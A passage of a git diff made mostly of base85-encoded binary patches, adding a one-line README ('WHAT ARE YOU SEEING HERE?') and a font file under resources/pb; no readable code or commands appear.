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 T*KvLlqN3wb7i8JtfS>*i`{?57 literal 0 HcmV?d00001 diff --git a/resources/pb/README.md b/resources/pb/README.md new file mode 100644 index 00000000..d3ec2f3e --- /dev/null +++ b/resources/pb/README.md @@ -0,0 +1 @@ +WHAT ARE YOU SEEING HERE?😑 diff --git a/resources/pb/font.TTF b/resources/pb/font.TTF new file mode 100644 index 0000000000000000000000000000000000000000..7302267af58fb9feeaa882dc13dcf8e85c953fb8 GIT binary patch literal 46724 zcmdqK2Y3_L+Ag}*%&6J2Em@X(mkY)i18x)pqL~ghy@LVMO>dzSLhlfIuK@=L#Uuez zNl11oJCy)oC#3E4owiBA8sGO@Gm=Gc_Wz&%-1FS?T%0f?$w*)C>l5RQF&lF;g+153 zXLh3vT_0Y_*!e|xwp($VF1^OAJ2VZC|BlD`Bg#uBKlRgVV;S4`C1b`vM$DX^XmOOS zXH40T*JDRb9$mg9=W=&EUW3PBqbEEt%K4A>WAM0&vCVbIj4Yo$^hZl4#*Q~;%-Ug0 zS?S0ZTd%yu*yCn;|1o$XxV~`%9=q{4WlZ_>+1)o3-DGT6E@QHJeA(2A)x)YAF?RGb z#-tt-CXFa%c|X->YBRF>b}{3novRHhs_H zdRdI^EyQyblc$zVe)-);PXfND@cS+Ce|D*o-%``*19n}lb(;*+L}&o9Nhj%8DOl#QM-p>!%frVLNaz()e8 z|NXb^S~_Ctr1G+nV@nf@CQY0^Y4p_6$z#f}nD`g(PN0ndh?77NpeBft$cpfI zB0!!5=%(T~CW91&ej>{SnHma0{kM_*Pf#^#nANaRR+D@|qW=jTjQ~v+{%?f8o3Q-9 z!18~AHH^6-r!(6no|aSFxk|@Gy2cD^o23q}{#j{cc$uwd=h#PlyuIR-tP}BGRy-cPXg|RhG&?8Sy-t% zjt2y|1DV7ni_svPO~B1!G#R-;k-6*zrzL@5*1(9s$1~hU6lPyw95<|feH{>)1^5FJ zK!9-BCEIiCuDl$+uwhxlmtTHae$TT~n#(``qxD;WX1!b~6#*KeOCNW%pbL}mhzJd$ zn2aE{%ndpy_|yoE7J>vs3xc80OAA9SwBRm#4*f3`ZQ7)Mv~?>!F~D<23c#l?g?G7S z_?*>&KK$tJz}vTXcVMlXG;WYB)nTr%%%Y6kU|UF1qEk*yG0KLhnCP_BL|L(fI}LJF ziYr=9%5K=8agz|pNO038bu)N!lFYMf$d*muUSJl02nrSuqy%z(y1^4sxJGzcEN()z z-%JoM2%bmM?}~Q`6Hn5=4-(H^U@dT^$93s3-Y;1^k0%68>eC-DVX|3!f8Mkgym95_ zW^!j3_?@2CoaZ>hBEp+;u0<~MIUa!8-tf~AdH_PDs#V$E*GrMbN-Jl$S7e?*YmQvyQ%m_PsE-Rpegk}X_1y=h44iqq3) zpDbsXzogc)10bXbHuHp5+)=jXc%TzU1g>cmC|nxc$Zb(~?=KyJ#b 